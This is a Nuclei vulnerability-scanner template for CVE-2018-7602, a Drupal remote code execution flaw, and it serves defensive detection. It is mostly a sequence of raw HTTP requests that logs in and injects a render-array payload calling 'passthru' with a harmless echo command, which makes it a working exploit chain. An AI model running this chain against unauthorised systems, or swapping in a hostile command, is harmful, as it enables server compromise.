nuclei-templates/cves/2018/CVE-2018-7602.yaml

id: CVE-2018-7602
info:
  name: Drupal Remote Code Execution Vulnerability
  author: princechaddha
  severity: critical
  description: A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being compromised. This vulnerability is related to Drupal core - Highly critical - Remote Code Execution - SA-CORE-2018-002. Both SA-CORE-2018-002 and this vulnerability are being exploited in the wild.
  reference:
    - https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7602/drupa7-CVE-2018-7602.py
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7602
  tags: cve,cve2018,drupal,authenticated
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2018-7602

requests:
  - raw:
      - |
        POST /?q=user%2Flogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_login&name={{username}}&pass={{password}}&op=Log+in

      - |
        GET /?q={{url_encode("{{userid}}")}}%2Fcancel HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /?q={{url_encode("{{userid}}")}}%2Fcancel&destination={{url_encode("{{userid}}")}}%2Fcancel%3Fq%5B%2523post_render%5D%5B%5D%3Dpassthru%26q%5B%2523type%5D%3Dmarkup%26q%5B%2523markup%5D%3Decho+COP-2067-8102-EVC+|+rev HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_id=user_cancel_confirm_form&form_token={{form_token}}&_triggering_element_name=form_id&op=Cancel+account

      - |
        POST /?q=file%2Fajax%2Factions%2Fcancel%2F%23options%2Fpath%2F{{form_build_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_build_id={{form_build_id}}

    cookie-reuse: true
    redirects: true
    max-redirects: 2
    matchers:
      - type: word
        words:
          - 'CVE-2018-7602-POC'

    extractors:
      - type: regex
        part: body
        name: userid
        internal: true
        group: 1
        regex:
          - '<meta about="([/a-z0-9]+)" property="foaf'

      - type: regex
        part: body
        name: form_token
        internal: true
        group: 1
        regex:
          - '<input type="hidden" name="form_token" value="(.*)" />'

      - type: regex
        part: body
        name: form_build_id
        internal: true
        group: 1
        regex:
          - '<input type="hidden" name="form_build_id" value="(.*)" />'